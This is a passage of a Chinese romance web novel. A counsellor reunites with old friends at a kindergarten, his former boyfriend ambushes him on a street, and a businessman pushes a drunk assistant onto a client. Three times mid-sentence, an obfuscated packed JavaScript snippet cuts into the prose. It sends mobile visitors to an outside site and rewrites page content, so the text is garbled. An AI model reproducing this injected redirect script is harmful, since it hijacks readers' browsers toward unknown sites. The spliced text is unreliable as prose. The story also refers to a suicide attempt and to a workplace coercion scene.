陈温点头,转向他的父母,用专业而安抚的语气说:“好的。那么请两位到外面休息区稍作等候,我们会有一个单独的谈话时间。结束后,如果需要,我们可以再一起沟通。” 父母虽然担心,但还是配合地离开了,带上了咨询室的门。 房间内安静下来,只剩下空调的风声。 陈温没有立即坐下,走到窗边,将百叶窗调好角度,让光线变得昏暗。 他接了两杯温水,一杯放在少年面前的茶几上,一杯留给自己,然后在侧面的单人沙发上坐下,与少年保持着一个不远不近的距离。 他没有马上抛出问题,而是给予了几秒钟时间,让少年适应这个独立的空间。 随后,他才用不带评判的语气开始了第一次的接触性提问: “谢谢你选择单独和我谈谈。在这里,你说的任何话都会保密,除非涉及你或他人的严重安全。我们可以慢慢来,不用着急。” 他观察着少年的反应,继续引导: “今天来到这里,是你自己的意愿多一些,还是感觉更多是父母希望你来的?” “最近,有没有什么特别的事情发生,或者有什么感觉,让你觉得可能需要找个人说说?” “如果让你用一个词,或者一种颜色,来形容最近心里最主要的感觉,会是什么呢?” 他的问题像在平静的湖面投下小小的石子,等待着第一圈涟漪的主动荡漾。 咨询在一种时而流畅、时而胶着的节奏中进行。 男生对一般性问题能给出回应,但一旦触及核心情绪或具体事件,便像蚌壳般紧紧闭合,陷入长久的沉默。 陈温并不急躁,他像一位耐心的考古学家,通过男生零散的叙述、回避的领域,慢慢拼凑出事情的轮廓。 大约四十分钟后,一个复杂且令人隐隐不安的心理画像逐渐浮现。 少年承认,他对同班一位男生抱有远超友谊的好感。这份情感强烈、纯粹,却也充满了不被理解和回应的痛苦。 在试探性的靠近被对方明确拒绝,甚至带有一丝回避和厌烦后,他的世界仿佛瞬间失衡。 “他不喜欢我……他看我的眼神,像看什么脏东西。”男生盯着地上说。 接下来的描述,让陈温的神经有些绷紧。 少年开始产生强烈的代入幻想,并非代入自己,而是代入那个拒绝他的男生。 他会在脑海中反复模拟“如果我是他,被一个同性这样纠缠、喜欢,该多么恶心、多么困扰、多么想逃离”。 这种代入并非出于理解或共情,而是自我攻击的极端形式——他通过想象对方的视角,来反复确认和放大自己的行为。 他因此产生生理性的不适和自我厌恶。 更令人担忧的是,在这种极端的心理压力下,他确实曾有过一些过激行为。 “现在呢?”陈温捕捉到一个关键转折,轻声问,“现在对这些感觉,还有对他是什么想法?” 少年抬起头,眼神有些空洞:“现在?不喜欢了。没感觉了。觉得……挺没意思的。” 陈温没立刻接话。他察觉到,这种“没感觉”并非真正的释然或走出,更像是一种情感隔离或心理休克。 巨大的情感挫折和随之而来的剧烈自我攻击,可能让他的心理启动了某种保护机制,暂时将那些无法承受的情绪“冷冻”了起来。 “能告诉我,从‘非常喜欢’到‘没感觉’,这个变化是怎么发生的吗?”陈温问得更加小心,“是某个时刻突然这样觉得,还是慢慢变成这样的?” 少年再次沉默,眼神飘向窗外,仿佛在回忆,又仿佛在抗拒回忆。 陈温心中警铃微作,这个个案远比表面看起来复杂。 它涉及的领域很广。父母对此一无所知,只看到孩子情绪低落,行为孤僻。 面对少年复杂的内心世界,陈温深知此刻强行深入并非良策。 他未多作建议,并再次强调了咨询的保密性与持续的可能性。 时间将至,他请人先去休息区等候,随后将父母请入室内。 “我与孩子进行了一次初步交流,”陈温开门见山,“首先请二位理解并放心,我严格遵守保密协定,不会透露他与我沟通的具体内容。这是我们工作的基石。” 父母神情稍缓,专注聆听。 “基于今天的评估,我可以提供一些概括性的观察:孩子目前正经历着显著的内心冲突与情绪压力,这在他所处的成长阶段并不少见。他表现出的一些行为,很可能是这种内在困扰的外显,也是一种自我保护的方式。” 他略去了所有具体细节,用客观的语言描述了问题的性质。 “现阶段,父母的支持方式至关重要。重点不在于追问根源,而在于提供稳定、非批判性的情感环境。” “保持沟通渠道的开放但不过度施压,观察基本生活规律但不过度干预,尽力提供陪伴,这是当前最核心的支持。” 陈温给出了行动框架,将父母的角色定位为“稳定的后盾”,而非“解决问题的前线”。 “这个过程需要耐心。如果你们同意,我建议建立规律的咨询节奏,由我继续与他工作。同时,也请你们照顾好自己的情绪,你们的稳定对他而言同样重要。” 送走这一家,咨询室重归寂静。 陈温独自坐了片刻,少年的眼神与曾经的自己似乎重合起来。 当年离开惠城后,陈温像被抽走了脊椎,整个人坍缩进深渊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他躺在床上,窗帘没拉,天已经黑了,他没开灯。眼眶酸了很久,终于滚下第一滴泪。 顺着太阳穴滑进头发里。 然后第二滴。第三滴。 哭一会儿停一会儿。像海浪。退了,以为要晴了,又一波涌上来。 他不知道自己哭什么。委屈?这几年攒了太多,理不清了。后悔?后悔什么呢,是后悔来,还是后悔来晚了。 还是后悔——当时没出口的话,就逃了。 可是就算说了,又能怎样。 后来眼泪慢慢干了。陈温的眼皮涩得像糊了一层胶水。 他试着再挤一挤,什么都没有了。 可胸口还是闷,那些东西还在那里,一样都没少。 但他哭不出来了。 像一口枯了井。 死的念头,第一次如此清晰地浮现出来,不是激烈的冲动,而像一条暗沉但诱人的归途。 他试过一次。 被及时发现,拦了下来。 身体没有大碍。 但陈温自己都觉得奇怪。 他看着镜子里那个脸色苍白的影子,感到无比陌生。 我怎么了? 这不像我。 可哪个才是“我”? 是那个曾经会笑、会计划未来的陈温,还是眼前这个连呼吸都觉得费力的空洞躯壳? 他分不清了。 他只知道,心里有什么东西,在离开惠城的那一天,就跟着某些人、某些事,一起彻底碎掉了。 从那段回忆里抽身,陈温像是甩掉一件浸满冰水的衣服。 他深吸一口气,喝了一口旁边的白开水。 晚上洗完澡出来,头发还滴着水,手机屏幕亮着,是顾言锐的信息: 「何绎跟他那位天崩地裂了,后天晚上出来喝酒,陪他祭奠死去的爱情。」 何绎是他们共同的朋友,职业是美妆博主,在短视频平台颇有人气,也是gay。 陈温最近忙得脚不沾地,没怎么留意三人群里刷屏的哭诉,只知道何绎和男友关系近期摇摇欲坠,没想到这么快就落了实锤。 他们仨早年有过约定:谁失恋,另外两个必须无条件陪喝陪哭陪骂街。 这条约定基本专为何绎设立,顾言锐次之,至于陈温——用何绎的话说:“妈呀,等陈温谈恋爱那天,我得开香槟庆祝人类冰川终于融化,喝酒?喝什么酒,直接摆席!” 陈温擦着头发,单手打字:「好。地点?」 对面秒回:「就上次那相亲跟带我们去过的烧烤店。抛开人品不谈,那家的烤牛油和掌中宝是真绝。」 陈温几乎能透过屏幕看到顾言锐咂嘴的表情,回了两个字母: 「OK。」 82. 重逢 李清依刚结束一桩案子的材料整理,端起水杯,门就被敲响了。 “请进。” “姐姐!”门刚开一条缝,李见初冲了进来,直扑向她。 李清依笑着放下杯子,张开手臂接住小姑娘,抱了个满怀,蹭了蹭她柔软的发顶。 “今天在幼儿园开心吗?” “开心!陈老师教我画了七星瓢虫!” 跟在李见初身后进来的,是林宇舟。 他斜倚在门框上,看着屋里一大一小亲昵的场景,嘴角上扬着。 说起这两人的重逢,也确实巧。 林宇舟大学期间脑子一热报了名,去部队里练了两年,回来才把剩下的学业折腾完。 之后自己开了家公司,说是创业,多少有点玩票性质。 前阵子他表姐遇上点麻烦,托他帮忙找律师,他想着公司刚好有些药品合规的问题需要咨询,便顺道打听了本地一位据说“几乎没打过败仗”的律师,找上了门。 去的时候他没多想,直到在律所窗明几净的会客室里,和那位身着干练西装、起身与他握手的“李律师”目光相接——两人都怔住了。 时光似乎倒流,又仿佛飞快地掠过了许多年。 当年那个英语课代表,与眼前这位气质沉稳、锋芒内敛的知名律师重叠在一起。 有些东西变了,有些东西却好像一直没变。 重逢后,关系自然而然地恢复,却又微妙地停在了某个舒适的距离: 比朋友更亲密信任,知晓彼此更多不为人知的过去;又默契地未向前踏出那一步,不曾言明,也不曾刻意靠近。 他们都觉得目前这样很好,无需定义,也无需言说。 “姐姐,你工作忙完了没有呀?”李见初赖在李清依怀里,仰着小脸问。 “刚忙完。怎么了,小宝?”李清依捏她的鼻子,问。 “我好喜欢我们幼儿园新来的陈老师啊!”李见初眼睛亮晶晶的,语气是孩子特有的、毫无保留的郑重,“我想嫁给他!姐姐,你明天跟我一起去幼儿园看看他好不好?他真的特别好!” 童言无忌,却让两个大人都忍俊不禁,“噗嗤”笑出了声。 “哎哟喂,”林宇舟走过来,故意揉乱李见初的头发,“小屁孩,你还没我腿高呢,就整天‘嫁嫁嫁’的,羞不羞?” “要你管!笑什么笑!”李见初冲他做了个鬼脸,小嘴一撇,精准反击,“单身狗!” 林宇舟被她噎得一哽,伸手作势要挠她痒痒:“嘿!你个丫头片子,跟谁学的词!叶萧云教你的?” 李见初敏捷地往李清依身后一躲,心里还偷偷补了一句:我姐姐还没答应你呢,略略略,跳梁小丑! “好了好了,你们两个。”李清依把妹妹护在身后,打断了这没大没小的斗嘴,然后低头温柔地对李见初说,“我们家见初现在还小呢,嫁人的事,要等我们见初长得比姐姐还高、比姐姐懂得还多的时候,再慢慢考虑,好不好?” “现在呢,我们就先和陈老师做好朋友,开开心心地一起玩游戏,好吗?” 李见初想了想,虽然对“长大”这个遥远的概念还有点模糊,但觉得姐姐说得有道理,便用力点头:“好吧!那我现在就先当陈老师最好的好朋友!” “那你明天还来接我放学吗?”李见初揪着李清依的衣角,仰着脸又问了一遍。 李清依心软成一滩水,蹲下身与她平视,郑重地点头:“接。答应了我们见初的事,姐姐一定做到。” 李见初这才心满意足地笑起来,扑进她怀里蹭了蹭。 林宇舟看着这一幕,插着口袋靠在墙边,懒洋洋道:“行,明天李大律师准时下班,我负责开车护送两位女士,行了吧?” 李见初从李清依怀里探出头,冲他皱起鼻子,没再怼他,算是默许了这个安排。 第二天,陈温注意到王景行没再故意找他麻烦,而且在分组游戏时,默默递了块积木给李见初——虽然依旧别别扭扭地不看人。 陈温上午有咨询预约,下午才到幼儿园。 活动结束后,他还没急着离开,正和苏颜晓梦在教室一角,低声讨论着这几天的观察记录和几个需要特别关注的孩子。 幼儿园门口,林宇舟的车准时停下。 他接了刚下班的李清依,一起来接李见初。 小姑娘一见到他们,眼睛就亮了,一手拉住一个,迫不及待地往园里拽:“快走快走!陈老师还没走,就在里面!我带你们去看!” 然而,李清依和林宇舟在听到“陈老师”这个称呼时,脚步同时顿了一下,脸色微妙地变了变。 他们交换了一个眼神。 “见初,”李清依蹲下身,“姐姐的律所有份很急的文件要回去处理。我们明天再来看陈老师,好不好?” “不好!”李见初的小脸立刻垮了下来,眼圈开始泛红,“你昨天答应我的!姐姐说话不算话!” 看着妹妹委屈巴巴、眼看要掉金豆子的样子,李清依心里一紧,再次看向林宇舟。 林宇舟眉头微蹙,但终究还是点了下头,说:“我可以开快点,送你过去。” “好好好,不哭不哭,”李清依连忙安抚,“那就……看一眼,跟陈老师打个招呼我们就走,好吗?姐姐真的有事。” “真的吗?”李见初吸了吸鼻子,确认道。 “嗯,就一眼。”李清依答应着,心里莫名像是压了块石头,她的第六感告诉她,有事情要发生。 李见初拉着李清依在幼儿园里转了小半圈,问了两位老师,才指向多功能厅旁边的教师休息室:“陈老师应该在那里!” 李清依点点头,正要过去,林宇舟的手机不合时宜地响了起来。 他看了一眼来电显示,眉头立刻皱起,对李清依做了个“稍等”的口型,快步走到几步外的走廊转角接听。 电话那头似乎是公司急事,暂时无法脱身。 李清依看了看情严肃的林宇舟,又看了看眼巴巴望着自己的妹妹,稍作迟疑,决定先带李见初过去。 她们走到休息室门口,门虚掩着,里面隐约传来交谈声。 李见初兴奋地想直接推门,被李清依拦住,她将李见初抱起来。 抬手,在门板上敲了两下。 “请进。”里面传来一个男声。 李清依推开门。 室内,陈温正和苏颜晓梦对坐着讨论报告,闻声同时抬头。 时间仿佛凝滞。 李清依的视线,与陈温抬起的目光,在空中相接。 她脸上的表情在零点几秒内,从惯常的沉静,过渡到疑惑,随即变成完全的震惊与难以置信。 瞳孔骤缩,呼吸仿佛被无形的手扼住。 陈温脸上的平和也在同一刻碎裂,化为一片空白的愕然。 他握着报告的手无意识地收紧。 “……陈温?” 李清依的声音很轻,却像砸进深潭,带着她自己都未察觉的颤意。 就在这时,走廊那头传来脚步声。 林宇舟已经匆匆结束了通话,面色沉凝,显然电话里的事情让他心情不佳。 他大步流星地走过来,甚至没太注意门内的情形,略带烦躁地开口:“清依,公司那边有点麻烦,我得……” 他的话语戛然而止。 因为他看见了门内那个坐在光影里、让他和李清依找了六年、也想了六年的人。 林宇舟的脚步猛地刹住,整个人钉在了门口。 他脸上的烦躁被一种更剧烈的情绪冲刷得一干二净。 林宇舟的目光死死地锁在陈温脸上,仿佛要穿透时光,确认这并非幻觉。 怀里的李见初察觉到了异样,看看姐姐,又看看哥哥,最后看向屋里那个她最喜欢的陈老师,小小的脸上写满了困惑。 休息室里,空气仿佛停止了流动。 六年时光积攒的话语,在这一方充满孩童气息的房间里,轰然弥漫开来。 苏颜晓梦识趣地站起身,目光在面色各异的三人脸上一扫,便拿起自己的笔记本,说:“看来是老朋友久别重逢。你们聊,我就不打扰了。” 说完,她朝陈温颔首,又对门口的两人礼貌地笑了笑,侧身从林宇舟身边走了出去,并顺手带上了门。 门关上,无声的房间涌动着最激烈的情感。 林宇舟先动了。他像是终于从巨大的冲击中找回身体的控制权,猛地向前两步,大喊:“陈温……你他妈……你去哪了?!” 话音未落,他已冲上前,结结实实地给了陈温一个用尽全力的拥抱。 手臂箍得很紧,像失而复得的仓皇。 要将这个拥抱,把过去的空白时光都挤压进对方的骨血里。 陈温被他撞得一晃,身体僵了片刻,才像是缓慢地接收到了这个拥抱,垂在身侧的手,抬了一下,终究没有回抱,也没有推开。 几秒钟后,林宇舟似乎才意识到自己的失态,他松开了手臂,退后半步,但目光依旧牢牢锁在陈温脸上,眼眶隐隐泛红。 李清依这时才走进房间。 她的情绪显然也极为激荡,但比林宇舟多了几分克制。 她走到陈温面前,上下仔细地看他,像是要确认每一个细节。 然后,她张开手臂,很轻、很短暂地抱了陈温一下,一触即分,带着女性特有的矜持和一种难言的伤感。 “好久不见,陈温。” 被林宇舟换到怀里抱着的李见初,一直睁着大眼睛,困惑地看着这一幕。 她的小脑袋瓜无法理解大人之间暗流涌动,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172015|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她捕捉到了那种不同寻常的气氛。 她看着三人,终于忍不住,用稚嫩清脆的声音,问: “你们认识陈老师呀?” 这句话让三个沉浸在过去的成年人,拉回了现实。 陈温的目光从林宇舟和李清依脸上移开,落到了李见初那张写满天真疑问的小脸上。 对着她,点了点头,声音低哑:“嗯。我们……认识很久了。” 李见初立刻高兴起来,仿佛解开了一个大谜题:“哇!那太好了!” 几人一起朝幼儿园外走去,气氛比起刚才缓和了些,但仍有一种不知从何说起的感觉。 陈温看着蹦蹦跳跳走在前面的李见初,又看了看身旁并排走着的李清依和林宇舟,终究没忍住好奇。 他斟酌了一下用词,小声问: “见初她是你们的……?” 话没有问完,但意思已经足够明显。 闻言,李清依和林宇舟几乎同时顿了一下脚步,脸上有着一层不太自然的红晕。 “不是不是!”李清依立刻摆手,声音因为急于澄清而比平时高了一点,引来前面李见初好奇的回望。 她赶紧压低声音,解释:“见初是我妹妹……嗯,准确说,是我堂妹。她是李欣桐的亲妹妹。” 林宇舟咳了一声,摸了摸鼻子,接口道:“对,是老两口……嗯,就是欣桐爸妈,当年瞒着欣桐要的二胎。” “欣桐高考完回家,才发现家里多了一个人,”他继续说,“差点没吓晕过去。所以见初跟欣桐年纪差得有点大,现在基本上是我们俩帮着带得多。” 解释清楚了,但空气中漂浮起淡淡的、心照不宣的暧昧。 陈温看着他们,了然地点头,没有再追问下去,嘴角勾起一个很淡的弧度。 “原来是这样。” “你是不知道当时有多戏剧性,”林宇舟转移话题,“欣桐高考完,雄赳赳气昂昂地走出考场,觉得自己解放了,是世界的主宰了。” “回到家,就看见客厅里坐着个皱巴巴的小不点,正被阿姨抱着喂奶。” 李清依忍俊不禁,接着补充:“她第一反应是,隔壁王阿姨又来串门顺便炫娃了?还心想这娃怎么有点眼生。” “结果她妈特别淡定地从厨房探出头,说了句:‘回来啦?那是你亲妹,李见初。快去洗洗手,准备吃饭。’” 林宇舟模仿着李欣桐当时可能出现的表情,眼睛瞪大,一脸空白:“欣桐当时就傻了,站在原地至少愣了半分钟。” 李清依和林宇舟聊起近况,气氛轻松熟稔。他们是如何修复了当年的裂痕、建立起如今这种默契关系的,陈温看在眼里,没有多问。 过去的事,就让它留在过去吧。 林宇舟去停车场取车,留下几人站在幼儿园门口的路边,傍晚的风吹动着梧桐树叶。 陈温犹豫了一下,还是问出了那个盘旋在心头许久、却一直没有合适机会问出口的问题: “沈泽许……他这些年,过得好吗?” 李清依似乎并不意外他会问起,但歉然地说:“这个……我不太清楚。我们也好久没有联系了。不过,林宇舟可能知道一些,你可以问他。” “不了。”陈温立刻摇头,拒绝了这个提议。 他沉默了片刻,看向李清依,恳求道:“清依,能不能……请你跟林宇舟说一声,暂时别告诉沈泽许,我在这里?” 李清依深深看了他一眼,没有问为什么,郑重地点了点头:“我懂。你放心,我会跟他说的。” 她答应的语气很认真,陈温心里稍安。 然而,另一边。 林宇舟快步走向停车场的路上,心里想“必须立刻分享这个爆炸性的消息”。 他掏出手机,拨通了一个备注为“沈哥”的号码。 电话响了很久才被接起,对面似乎在人流密集的地方。 “喂?”沈泽许的声音传来,带着长途飞行后的疲惫,还有被打扰的不耐,“宇舟?什么事?” “沈哥!我跟你说,我找到人了!”林宇舟卖起关子。 “找到谁?”沈泽许显然没跟上节奏,茫然地说。 “你家那位啊!” “我家哪位?” “那位啊!就那位!”林宇舟急得跺脚,觉得对方简直是在故意装傻。 “林宇舟,”沈泽许深吸一口气,耐着性子,说:“我现在刚下飞机,累得很。你到底在说哪位?说清楚。” “哎呀!陈温啊!我找到陈温了!”林宇舟终于把那个名字吼了出来。 足足有三四秒,没有任何声音传来。 林宇舟以为电话断了,看了眼手机,又放回到耳边。 沈泽许说:“在、哪、里?” 这三个字,重若千钧。 83. 我是他前男友 夜很深。 陈温做了一个梦。 梦里没有具体场景,一片混沌的灰白,和一个背对着他、站在不远处的身影。 那身影的轮廓、姿态,甚至只是站在那里不言不语的感觉,都熟悉得让陈温心口发紧。 几乎不用思考,他就知道那是沈泽许。 可任凭他如何努力,也看不清对方的脸。 梦里没有声音,有种巨大的引力,拉扯着他向那个身影靠近。 陈温不顾一切地冲了过去,伸出双臂,用尽全身力气,从背后抱住了那个人。 拥抱的触感真实得可怕——他能感觉到对方身体的温度,布料下的骨骼。 一股混合着失而复得的酸楚和委屈,像海啸般席卷了他,几乎要将他淹没。 就在这一刻,他醒了。 猛地睁开眼,卧室里一片漆黑。 脸颊是湿的,心脏在胸腔里急促地跳动,梦境里的情绪像潮水退去。 陈温坐起身,抬手摸了摸脸,不敢置信。 他哭了? 为什么? 梦里的感觉还在神经末梢残留,但梦的内容,连同哭泣的理由,在醒来的那一刻,像阳光下的露珠一样蒸发得无影无踪。 男生呆坐了几秒,抬手用力抹了两把脸,将那点湿痕彻底擦去。 然后,重新躺了回去,拉高被子,把自己裹紧。 第二天,陈温眼下带着淡淡的青影,精神有些不济。 李见初却恰恰相反,小脸上容光焕发,比平时还要兴奋雀跃。 她笃定地认为,经过昨天的“老友相认”,自己在陈老师眼里一定是独一无二、特别重要的那个。 她一见到陈温,就像只欢快的小鸟一样飞扑过去,紧紧抱住他的腿,仰着脸叽叽喳喳:“陈老师陈老师!昨天我哥哥姐姐是不是跟你说我特别乖?” 陈温揉了揉眉心,勉强扯出一个笑:“嗯,见初一直很乖。” 这句话无疑给李见初加注了更多底气,陈老师一定也喜欢她,她要嫁给陈老师。 在整个自由活动时间,她寸步不离地跟在陈温身边,一副“首席弟子”的架势,连其他小朋友想靠近陈温,她都会下意识地往前站一小步。 这一切,都被不远处的王景行看在眼里。 男孩抿着嘴,眼神越来越沉,小胸膛起伏着。 终于,在李见初又一次抢先接过陈温递出的画笔,并得意地朝王景行方向瞥了一眼后,积压的不满爆发了。 “李见初!你干嘛老是缠着陈老师!”王景行的声音又响又冲。 李见初被吓了一跳,随即不甘示弱地挺起小胸脯:“要你管!陈老师喜欢我!我是陈老师最好的朋友!” “你才不是!陈老师是我们大家的老师!”王景行脸涨得通红。 “就是就是!昨天陈老师还跟我哥哥姐姐是好朋友呢!你哥哥姐姐认识陈老师吗?”李见初搬出了重磅证据,脸上写满了“你比不过我”的骄傲。 王景行一时语塞,又气又急,竟伸手推了李见初一把:“你讨厌!” 李见初没站稳,向后踉跄了一下,虽然没有摔倒,但手里的画笔“啪嗒”掉在地上。 她先是一愣,随即眼圈迅速红了,委屈的泪水开始打转:“你推我!我要告诉陈老师!” “告状精!就知道告状!”王景行也吼了回去。 两个孩子就这么在活动区中央,你一句我一句地吵了起来,吸引了周围小朋友和老师的注意。 陈温被这突如其来的冲突弄得更加头疼,他叹了口气,快步走过去,挡在了两个快要扭到一起的小家伙中间。 两个小家伙闹得不可开交,陈温使尽浑身解数才勉强将两人安抚好情绪。 一场“争宠”风波暂歇,他却只觉得身心俱疲,太阳穴一跳一跳地疼。 下班后,他拖着疲惫的步伐,下意识走向幼儿园附近那条热闹的小吃街,想用食物填补一下空乏的胃和更空乏的精神。 他买了一份加足料的煎饼果子,捧在手里,边走边吃。 幼儿园附近的小摊总是花样百出,充满“科技与狠活”,但也确实好吃得让人暂时忘忧。 他咬着酥脆的煎饼果子,思绪稍稍放空。 天色渐暗,他拐进一条回住处必经的、相对安静些的小路。 路灯尚未完全亮起,光线昏朦。 就在这时,异变陡生! 身后突然传来一阵略显踉跄的脚步声,还有淡淡的酒气。 他还来不及反应,一双手臂就从后面环抱过来,紧紧箍住了他的腰。 力道很大。 紧接着,那人的下巴沉沉地抵在了他的右肩窝处。 陈温浑身一僵,煎饼果子差点脱手。 淡淡的酒气还是让他下意识皱紧了眉,胃里一阵翻腾。 电光石火间,陈温想起前几天幼儿园老师闲聊时的提醒,说附近好像有个行踪可疑的人徘徊,让大家下班回家多注意安全。 人/贩子? 抢劫? 陈温怕得要死,血液都凉了半截。 但残存的理智又冒出疑问:人/贩子……为什么要拐一个我这么大的“孩子”? 男生的目光下意识地、颤抖地向下瞥去——落在了那只死死环在自己腰间的手上。 手指修长,骨节分明。 皮肤是那种冷调的白,即使在昏暗的光线下也异常清晰。 而就在那凸起的腕骨旁边,一点小小的痕迹,如同烙印般刺入他的眼帘。 一颗痣。 位置,形状,大小…… 陈温的呼吸,连同他所有的惊恐、疑惑、挣扎,在那一刻,全部停滞了。 抱……抱着他的人……是…… 他张了张嘴,却发不出任何声音。 一个低沉的、被酒精浸得沙哑模糊的声音,贴着他耳廓响起: “……抓到你了。” “你瘦了……” 沈泽许的声音从耳后传来。 他其实也说不上陈温哪里瘦,怀里人的肌肤下有着温厚的脂肪层,可他就是觉得轻,轻得像随时会飘走。 陈温在这句话里猛地惊醒。 左腕上的智能手表发出震动——心率过高警告。 他几乎是本能地挣开沈泽许的手臂,头也不回地跑了。 沈泽许愣在原地,酒精带来的晕眩感阵阵上涌。 他本不想这样见面,可停下车看到那个背影时,理智全碎了。 他灌了口酒,像个失控的跟踪狂一样跟过来,从背后抱住了他。 不后悔。 陈温的反应恰恰证明了一切——他不想见他。 沈泽许打电话叫助理来接他。 他站在原地,低下头,摩挲指尖那里似乎还残留着陈温的温度。 ……好香。 晚上,和顾言锐他们约在烧烤店。 口号是:不醉不归。 陈温回去换了身简单的深色T恤和长裤。 另外两人已经到了,桌上摆着滋滋冒油的肉串和几瓶打开的啤酒 “小温温,迟到了啊!”顾言锐说。 “罚一杯!”失恋的何绎也举杯起哄,眼圈还有点红,但精神尚可。 陈温一言不发地坐下,拿起一旁的酒,没用杯子,仰头就猛灌了一大口。 酒液冰凉辛辣,一路烧进胃里。 “我去!大哥!”何绎被他这架势吓了一跳,“要不要这么猛?不知道的还以为你才是那个被甩的呢!” 顾言锐察觉到了不对劲,收敛了玩笑神色,凑近仔细瞧陈温的脸,问:“你怎么了?下午在幼儿园被孩子们闹得头疼?还是遇见什么事了?” 陈温放下酒瓶,不知道从何说起。 “……没事。喝酒。” 酒过三巡,桌边的空瓶多了起来。 何绎已经彻底进入“酒醉心明白”的吐槽状态,骂骂咧咧地又灌下一杯,然后摇摇晃晃地站起来:“不行了……我得去放个水,你们……不许动我的鸡翅!” 说着,深一脚浅一脚地朝厕所方向挪去。 桌上暂时只剩下陈温和顾言锐。 顾言锐脸上的红晕更深了,但她眼神还算清明。她挪动椅子,凑到陈温旁边,胳膊肘碰他:“喂,现在没别人了。跟我说实话,到底怎么了?上次分开的时候还好好的,晚上就跟换了个人似的,魂不守舍,酒喝得比何绎还凶。别拿幼儿园孩子闹腾糊弄我。” 陈温垂着眼,盯着杯中晃动的琥珀色液体,指节微微发白。 傍晚的场景又浮现在他脑海,但他只是更用力地握紧了杯子,一个字也没说出口。 顾言锐盯着他看了几秒,叹了口气,身体靠回椅背。 “行,你不想说,我不逼你。”她拿起一串凉了的烤韭菜,有一搭没一搭地咬着,换了个话题,“哎,说起来,今天急诊科可热闹了,送来个大爷,非说自家猫成精了要给他下毒,闹腾了一晚上……” 她开始絮絮叨叨地讲起医院的琐事,试图冲淡不愉快的事。 陈温静静地听着,偶尔配合地扯一下嘴角,目光却依旧没有焦点,像飘在很远的地方。 沈泽许其实没喝多少,在车上的短暂休息后,酒意已经散了大半。 晚上的商务晚宴,是本地一位颇有能量的商人做东,主题是拉投资,一个前景不错但前期烧钱极凶的AI医疗项目。 钱的事一直没谈拢,双方都在试探底线。 宴席上,沈泽许吃得很少,也没喝酒,更多是在听,偶尔问一两个关键问题。 席间,对面公司一位年轻女助理颈间的项链吸引了他的目光——那是他母亲早年设计的“弦月”系列,那时不出名,有点小钱就能买到,存世不多。 沈泽许不由得多看了两眼。 这目光却被对方那位大腹便便的负责人完全误解了。 女助理穿着贴身连衣裙,领口稍低。 负责人自以为领悟了沈泽许的“兴趣”,眼中闪过一丝精明的算计。 接下来的酒局风向突变。 负责人开始频频向女助理劝酒,言辞热情却不容推拒,美其名曰“让Amy多敬敬沈总”。 女孩显然不善应付,几杯下肚便面颊酡红,眼神涣散。 宴会临近尾声,负责人带着意味深长的笑容,亲自将沈泽许送到门口,拍了拍他的肩膀,暧昧地说:“沈总,Amy喝多了,我们都不顺路,麻烦您顺道送送?女孩子一个人,不安全。” 说着,不由分说地示意手下人将那几乎站不稳的女助理扶到了沈泽许的车上。 沈泽许眉头微蹙,刚想开口拒绝,老板已经凑近,极快地在他西装外套口袋里塞了个小东西,脸上挂着男人间心照不宣的笑:“一点‘助兴’的小心意,希望沈总今晚……尽兴。” 不等沈泽许再说什么,那位王总已满脸堆笑地退开几步,挥手作别,快步离去,仿佛完成了什么重要交接。 沈泽许看着绝尘而去的对方车辆,又回头看向自己车后座——那位名叫Amy的女助理歪倒在那里,醉得不省人事,嘴里还含糊地嘟囔着什么。 他按了按发疼的太阳穴,弯腰靠近后座,尽量用平稳的语气问:“你家住哪里?我送你回去。” 女生似乎被声音惊动,迷迷糊糊地睁开眼睛,视线无法聚焦,只本能地双手抱紧自己,含糊地抗拒:“不要……不要过来……” 沈泽许眉头锁得更紧。 他直起身,从副驾储物格里拿出一瓶未开封的矿泉水,拧开后再次递过去,说:“喝水。清醒一下。告诉我地址,送你回家。” 或许是瓶身触感,也或许是沈泽许过于冷静严肃的语气起了作用。 女生挣扎着接过水,小口喝了几口,呛咳了几下,混沌的意识似乎被冷水激回一丝清明。 她怯怯地看了沈泽许一眼,终于断断续续报出一个小区名字和大概的楼栋号。 男人不再多言,关好后车门,回到驾驶座,发动了车子。 沈泽许很清楚接下来的麻烦。 他没碰那个女生一根手指头,但明天酒醒,面对那位王总的质问或暗示,她恐怕百口莫辩,处境堪忧。 能做出这种下作“安排”的公司,管理层的人品可想而知,迁怒甚至刁难一个无力反抗的年轻助理,是大概率事件。 但这不代表沈泽许会袖手旁观,或者让那家公司好过。 他将车开到女生所说的小区门口,没有开进去。 沈泽许停下车,转身看向后座。 女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172016|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生似乎又陷入半睡半醒的状态。 “到了。”沈泽许说。 他拿出自己的手机,打开录音功能,然后对女生说:“清醒一点。回答我几个问题,确保你安全到家。” 女生懵懂地“嗯”了一声。 沈泽许开始提问,语气公事公办:“今晚的宴会,你是自愿参加的吗?” “……是公司安排的。”女生含糊道。 “席间,你的上司王总是否多次向你劝酒,超出你酒量?” “……是,他一直让我喝……” “他是否在未征得你明确同意的情况下,将你单独交托给我,并暗示或安排了其他不适当的后续?” 